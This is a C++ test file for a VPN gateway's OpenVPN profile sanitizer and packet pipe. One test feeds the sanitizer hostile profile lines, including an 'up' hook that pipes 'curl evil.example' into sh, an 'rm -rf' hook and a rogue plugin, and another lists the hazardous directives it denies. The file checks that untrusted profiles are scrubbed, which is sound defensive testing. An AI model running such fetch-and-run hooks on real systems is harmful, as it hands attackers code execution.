Files
ovgate/tests/test_ovpn.cpp
T
iceBear67andClaude Opus 5 b2ba45c9f8 OpenVPN client with an authenticated SOCKS5 front door
A userspace VPN gateway: builds an OpenVPN tunnel to a VPNGate node with
the OpenVPN 3 core, terminates it in-process with lwIP, and serves SOCKS5
(RFC 1928/1929, CONNECT and UDP ASSOCIATE) over it. No root, no tun
device, no routing table changes.

Layout follows the module boundaries in docs/ARCHITECTURE.md:

  vpngate/   directory fetch + CSV parse (lines run to ~13.5 KB, so the
             parser streams rather than splitting on newlines)
  selector/  two-phase pick: cheap prior over the whole list, then real
             TCP handshake timing of the top K
  ovpn/      openvpn3 driven through TunBuilder, packets over a socketpair
  netstack/  lwIP: the TCP/IP stack that makes "no root" possible
  egress/    the swappable way out, and make-before-break switching
  socks5/    the front door
  health/    per-window scoring, and the decision to move
  app/       wiring, admin HTTP, signals

docs/FEASIBILITY.md is the analysis this was built from, including the
one requirement that is not physically possible -- carrying established
TCP connections across a node switch -- and what is done instead
(zero-progress redial, UDP re-homing, grace-period drain).

Tests: 155 without the tunnel egress, 172 with it. The seam is the egress
factory; selection, scoring, history and probing all run for real.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-28 04:38:39 +00:00

530 lines
17 KiB
C++

// Profile sanitizer + packet pipe.
//
// These are the two pieces of the ovpn module that can be tested without a
// server on the other end. TunnelClient itself needs a live node and is covered
// by the end-to-end check; what is testable here is the part that decides what
// we are willing to hand openvpn3, and the part that carries IP packets to it.
#include <fcntl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <filesystem>
#include <string>
#include "harness.h"
#include "ovpn/packet_pipe.h"
#include "ovpn/profile_sanitizer.h"
#include "ovpn/tunnel_client.h"
using namespace ovg;
using namespace ovg::ovpn;
namespace {
// Shaped like a real VPNGate row: SoftEther boilerplate comments, an
// AES-128-CBC/SHA1 crypto suite, an inline CA and client keypair.
std::string sample_profile() {
return
"# OpenVPN Client Config for VPN Gate\n"
"# Note: Windows users can use this file with OpenVPN Client\n"
"\n"
"dev tun\n"
"proto tcp\n"
"remote 219.100.37.1 443\n"
"cipher AES-128-CBC\n"
"auth SHA1\n"
"resolv-retry infinite\n"
"nobind\n"
"persist-key\n"
"persist-tun\n"
"client\n"
"verb 3\n"
"<ca>\n"
"-----BEGIN CERTIFICATE-----\n"
"MIIDdTCCAl2gAwIBAgIJAKp\n"
"-----END CERTIFICATE-----\n"
"</ca>\n"
"<cert>\n"
"-----BEGIN CERTIFICATE-----\n"
"MIIDaTCCAlGgAwIBAgIBATA\n"
"-----END CERTIFICATE-----\n"
"</cert>\n"
"<key>\n"
"-----BEGIN PRIVATE KEY-----\n"
"MIIEvQIBADANBgkqhkiG9w0\n"
"-----END PRIVATE KEY-----\n"
"</key>\n";
}
bool contains(const std::string &text, const std::string &needle) {
return text.find(needle) != std::string::npos;
}
bool has_line(const std::string &text, const std::string &line) {
return contains("\n" + text, "\n" + line + "\n");
}
// CHECK() only prints the expression, which is useless inside a loop over
// names. These report the offending item on both sides of the comparison.
void expect_absent(const std::string &text, const std::string &needle) {
CHECK_EQ(contains(text, needle) ? "leaked: " + needle : "absent: " + needle,
"absent: " + needle);
}
void expect_denied(const char *name, bool want) {
const std::string got =
std::string(name) + (is_denied_directive(name) ? " -> denied" : " -> kept");
CHECK_EQ(got, std::string(name) + (want ? " -> denied" : " -> kept"));
}
size_t open_fd_count() {
size_t n = 0;
for (const auto &e : std::filesystem::directory_iterator("/proc/self/fd")) {
(void)e;
++n;
}
return n;
}
} // namespace
OVG_TEST(SanitizerAcceptsARealProfile) {
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(sample_profile(), {}, &sp, &err));
CHECK(sp.has_ca);
CHECK(sp.has_client_cert);
CHECK(!sp.wants_userpass);
CHECK_EQ(sp.remotes.size(), size_t(1));
CHECK_EQ(sp.remotes[0].host, std::string("219.100.37.1"));
CHECK_EQ(sp.remotes[0].port, 443);
CHECK(sp.remotes[0].proto == vpngate::Proto::Tcp);
// Our canonical header is present...
CHECK(has_line(sp.text, "client"));
CHECK(has_line(sp.text, "dev tun"));
CHECK(has_line(sp.text, "remote 219.100.37.1 443 tcp"));
// ...and the crypto directives we must not touch survived verbatim.
CHECK(has_line(sp.text, "cipher AES-128-CBC"));
CHECK(has_line(sp.text, "auth SHA1"));
// Inline material is preserved whole.
CHECK(contains(sp.text, "<ca>\n-----BEGIN CERTIFICATE-----"));
CHECK(contains(sp.text, "-----END PRIVATE KEY-----\n</key>"));
}
OVG_TEST(SanitizerStripsScriptHooks) {
std::string raw = sample_profile();
raw +=
"up /bin/sh -c 'curl evil.example | sh'\n"
"down /bin/rm -rf /tmp/x\n"
"tls-verify /tmp/verify.sh\n"
"plugin /tmp/evil.so\n"
"script-security 2\n"
"management 127.0.0.1 7505\n"
"http-proxy 10.0.0.1 8080\n"
"socks-proxy 10.0.0.1 1080\n"
"daemon\n"
"user root\n"
"chroot /\n"
"log /tmp/x.log\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
for (const char *bad : {"/bin/sh", "/bin/rm", "verify.sh", "evil.so",
"script-security", "management", "http-proxy",
"socks-proxy", "7505", "10.0.0.1", "x.log"}) {
expect_absent(sp.text, bad);
}
for (const char *line : {"daemon", "user root", "chroot /"}) {
CHECK_EQ(has_line(sp.text, line) ? std::string("leaked: ") + line
: std::string("absent: ") + line,
std::string("absent: ") + line);
}
// And every removal is reported, so an operator can see what a node tried.
CHECK(sp.dropped.size() >= 10);
}
OVG_TEST(SanitizerDeniesTheHazardousDirectives) {
for (const char *name : {"up", "down", "tls-verify", "plugin",
"script-security", "management", "http-proxy",
"socks-proxy", "daemon", "user", "group", "chroot",
"ifconfig", "push"}) {
expect_denied(name, true);
}
// The other half of the contract: a denylist that swallowed these would
// quietly break every node.
for (const char *name : {"cipher", "auth", "tls-crypt", "remote-cert-tls",
"auth-user-pass", "float", "keepalive",
"data-ciphers", "auth-nocache", "tun-mtu"}) {
expect_denied(name, false);
}
}
OVG_TEST(SanitizerPinsTheChosenRemote) {
std::string raw = sample_profile();
// A second remote the selector never scored, plus randomization to make sure
// the core would actually have used it.
raw += "remote 1.2.3.4 1194 udp\nremote-random\n";
vpngate::Remote pin;
pin.host = "219.100.37.1";
pin.port = 1195;
pin.proto = vpngate::Proto::Udp;
SanitizeOptions opt;
opt.pin_remote = &pin;
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, opt, &sp, &err));
CHECK_EQ(sp.remotes.size(), size_t(1));
CHECK(has_line(sp.text, "remote 219.100.37.1 1195 udp"));
CHECK(has_line(sp.text, "proto udp"));
expect_absent(sp.text, "1.2.3.4");
expect_absent(sp.text, "remote-random");
// The original "remote ... 443" line must be gone too.
expect_absent(sp.text, "443");
}
OVG_TEST(SanitizerDropsConnectionBlocks) {
std::string raw = sample_profile();
raw +=
"<connection>\n"
"remote 9.9.9.9 1194 udp\n"
"</connection>\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
expect_absent(sp.text, "9.9.9.9");
expect_absent(sp.text, "<connection>");
}
OVG_TEST(SanitizerReportsAuthUserPass) {
std::string raw = sample_profile();
raw += "auth-user-pass /etc/openvpn/creds\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
CHECK(sp.wants_userpass);
// The path is stripped: credentials come from provide_creds(), and leaving
// the argument would make openvpn3 try to open a file that is not there.
CHECK(has_line(sp.text, "auth-user-pass"));
expect_absent(sp.text, "/etc/openvpn/creds");
}
OVG_TEST(SanitizerDropsFileReferencedKeyMaterial) {
std::string raw = sample_profile();
raw += "tls-auth /etc/openvpn/ta.key 1\ncrl-verify /etc/openvpn/crl.pem\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
expect_absent(sp.text, "ta.key");
expect_absent(sp.text, "crl.pem");
// The inline material in the same profile must survive untouched.
CHECK(contains(sp.text, "<ca>"));
}
OVG_TEST(SanitizerRemovesCompressionWhenDisabled) {
std::string raw = sample_profile();
raw += "comp-lzo no\ncompress lz4\n";
SanitizeOptions opt;
opt.allow_compression = false;
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, opt, &sp, &err));
expect_absent(sp.text, "comp-lzo");
expect_absent(sp.text, "compress");
opt.allow_compression = true;
CHECK(sanitize_profile(raw, opt, &sp, &err));
CHECK(has_line(sp.text, "comp-lzo no"));
}
OVG_TEST(SanitizerRejectsUnusableProfiles) {
SanitizedProfile sp;
std::string err;
CHECK(!sanitize_profile("", {}, &sp, &err));
// TAP: layer 2 frames, which nothing downstream understands.
{
std::string raw = sample_profile();
raw.replace(raw.find("dev tun"), 7, "dev tap0");
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "TAP"));
}
// No CA and no peer-fingerprint: nothing to authenticate the server with.
{
std::string raw = sample_profile();
const size_t b = raw.find("<ca>");
const size_t e = raw.find("</ca>") + 6;
raw.erase(b, e - b);
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "ca"));
}
// No remote at all.
{
std::string raw = sample_profile();
const size_t b = raw.find("remote ");
raw.erase(b, raw.find('\n', b) + 1 - b);
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "remote"));
}
// Unterminated inline block: the rest of the file would silently vanish
// into the block body.
{
std::string raw = sample_profile();
raw.replace(raw.find("</key>"), 6, "");
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "unterminated"));
}
// Binary garbage where a profile should be.
{
std::string raw = sample_profile();
raw += "\x01\x02\x03";
CHECK(!sanitize_profile(raw, {}, &sp, &err));
CHECK(contains(err, "control byte"));
}
// Oversized.
{
SanitizeOptions opt;
opt.max_bytes = 100;
CHECK(!sanitize_profile(sample_profile(), opt, &sp, &err));
}
}
OVG_TEST(SanitizerIsCaseInsensitive) {
std::string raw = sample_profile();
raw += "UP /bin/sh\n<CONNECTION>\nremote 9.9.9.9 1194\n</CONNECTION>\n";
SanitizedProfile sp;
std::string err;
CHECK(sanitize_profile(raw, {}, &sp, &err));
expect_absent(sp.text, "/bin/sh");
expect_absent(sp.text, "9.9.9.9");
}
OVG_TEST(SanitizedOutputIsStable) {
// Sanitizing twice must be a no-op the second time round -- otherwise the
// "regenerated" set is incomplete and our own header would accumulate.
SanitizedProfile once, twice;
std::string err;
CHECK(sanitize_profile(sample_profile(), {}, &once, &err));
CHECK(sanitize_profile(once.text, {}, &twice, &err));
CHECK_EQ(once.text, twice.text);
}
// --- packet pipe -----------------------------------------------------------
OVG_TEST(PacketPipeCarriesDatagramsWithBoundaries) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(256 * 1024, &err));
CHECK(pipe.is_open());
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
CHECK(pipe.peer_released());
CHECK_EQ(pipe.release_peer_fd(), -1); // handed over exactly once
// Three writes of different sizes must arrive as three reads of exactly
// those sizes. This is the property the whole design rests on: a datagram
// socketpair preserves IP packet boundaries, a stream one would not.
const std::string a(40, 'a'), b(1, 'b'), c(1400, 'c');
CHECK(pipe.send_packet(a.data(), a.size()) == PacketPipe::SendStatus::Ok);
CHECK(pipe.send_packet(b.data(), b.size()) == PacketPipe::SendStatus::Ok);
CHECK(pipe.send_packet(c.data(), c.size()) == PacketPipe::SendStatus::Ok);
char buf[4096];
for (const std::string *expect : {&a, &b, &c}) {
const ssize_t n = ::recv(peer, buf, sizeof(buf), 0);
CHECK(n >= 0);
CHECK_EQ(std::string(buf, static_cast<size_t>(n)), *expect);
}
const auto ctr = pipe.counters();
CHECK_EQ(ctr.tx_packets, uint64_t(3));
CHECK_EQ(ctr.tx_bytes, uint64_t(a.size() + b.size() + c.size()));
CHECK_EQ(ctr.tx_dropped, uint64_t(0));
::close(peer);
}
OVG_TEST(PacketPipeReadsWhatThePeerWrites) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
const std::string payload(700, 'x');
CHECK_EQ(::send(peer, payload.data(), payload.size(), 0),
static_cast<ssize_t>(payload.size()));
char buf[4096];
std::error_code ec;
const size_t n = pipe.socket().receive(asio::buffer(buf), 0, ec);
CHECK(!ec);
CHECK_EQ(n, payload.size());
pipe.note_received(n);
CHECK_EQ(pipe.counters().rx_packets, uint64_t(1));
CHECK_EQ(pipe.counters().rx_bytes, uint64_t(payload.size()));
::close(peer);
}
OVG_TEST(PacketPipeRejectsOversizedAndEmptyPackets) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
const std::string huge(kMaxPacketSize + 1, 'z');
CHECK(pipe.send_packet(huge.data(), huge.size()) ==
PacketPipe::SendStatus::Dropped);
CHECK(pipe.send_packet(huge.data(), 0) == PacketPipe::SendStatus::Dropped);
CHECK_EQ(pipe.counters().tx_dropped, uint64_t(2));
CHECK_EQ(pipe.counters().tx_packets, uint64_t(0));
}
OVG_TEST(PacketPipeReportsAClosedPeer) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
::close(peer);
// Must surface as Closed, not as a SIGPIPE that kills the process. The
// first send after the peer goes away can still be accepted, so retry a
// couple of times; what matters is that we never die and that we do notice.
PacketPipe::SendStatus st = PacketPipe::SendStatus::Ok;
const std::string p(64, 'p');
for (int i = 0; i < 3 && st != PacketPipe::SendStatus::Closed; ++i)
st = pipe.send_packet(p.data(), p.size());
CHECK(st == PacketPipe::SendStatus::Closed);
}
OVG_TEST(PacketPipeDropsRatherThanBlockingWhenTheQueueFills) {
asio::io_context io;
PacketPipe pipe(io);
std::string err;
// Smallest buffer the kernel will grant, so the queue fills quickly.
CHECK(pipe.open(2048, &err));
const int peer = pipe.release_peer_fd();
CHECK(peer >= 0);
// Nobody is reading `peer`. A blocking write here would wedge the io_context
// thread for as long as the tunnel is congested; the contract is that we
// drop the packet instead and let TCP above notice.
const std::string p(1400, 'q');
bool saw_drop = false;
for (int i = 0; i < 10000 && !saw_drop; ++i) {
if (pipe.send_packet(p.data(), p.size()) == PacketPipe::SendStatus::Dropped)
saw_drop = true;
}
CHECK(saw_drop);
CHECK(pipe.counters().tx_dropped > 0);
::close(peer);
}
OVG_TEST(PacketPipeOwnsExactlyTheDescriptorsItShould) {
asio::io_context io;
// asio builds its epoll reactor lazily, on the first socket that registers
// with it, so a cold io_context would make the first pipe look like it cost
// more descriptors than it did. Warm it up before taking the baseline.
{
PacketPipe warmup(io);
std::string err;
CHECK(warmup.open(0, &err));
}
const size_t before = open_fd_count();
// Never released: the pipe must close both ends.
{
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
CHECK_EQ(open_fd_count(), before + 2);
}
CHECK_EQ(open_fd_count(), before);
// Released: openvpn3 owns the peer now, so the destructor must leave it
// alone. Closing it here would pull the tun out from under a live session.
int peer = -1;
{
PacketPipe pipe(io);
std::string err;
CHECK(pipe.open(0, &err));
peer = pipe.release_peer_fd();
CHECK(peer >= 0);
}
CHECK(::fcntl(peer, F_GETFD) >= 0);
::close(peer);
CHECK_EQ(open_fd_count(), before);
}
// --- tunnel client ---------------------------------------------------------
OVG_TEST(TunnelClientRejectsABadProfileWithoutStarting) {
asio::io_context io;
auto tc = TunnelClient::create(io, OvpnConfig{});
vpngate::Node node;
node.host_name = "broken";
node.ip = "203.0.113.9";
node.profile = "this is not an openvpn profile\n";
const vpngate::Remote r{"203.0.113.9", 443, vpngate::Proto::Tcp};
std::string err;
CHECK(!tc->start(node, r, nullptr, &err));
// The node id has to be in the message: with ~100 nodes churning, an error
// that does not say which one failed is not actionable.
CHECK(contains(err, "broken@203.0.113.9"));
CHECK(tc->state() == TunnelState::Idle);
// A rejected profile must leave no descriptor behind.
CHECK(!tc->pipe().is_open());
}
OVG_TEST(TunnelClientStateNamesAreComplete) {
for (auto s : {TunnelState::Idle, TunnelState::Connecting, TunnelState::Up,
TunnelState::Reconnecting, TunnelState::Down}) {
CHECK_NE(std::string(tunnel_state_name(s)), std::string("?"));
}
}
OVG_TEST(TunnelClientWithoutOpenvpn3FailsCleanly) {
if (TunnelClient::supported()) SKIP("built with openvpn3 linked in");
asio::io_context io;
auto tc = TunnelClient::create(io, OvpnConfig{});
vpngate::Node node;
node.host_name = "ok";
node.ip = "203.0.113.10";
node.profile = sample_profile();
const vpngate::Remote r{"203.0.113.10", 443, vpngate::Proto::Tcp};
std::string err;
CHECK(!tc->start(node, r, nullptr, &err));
CHECK(contains(err, "OVG_WITH_TUNNEL"));
CHECK(tc->state() == TunnelState::Idle);
CHECK(!tc->pipe().is_open());
}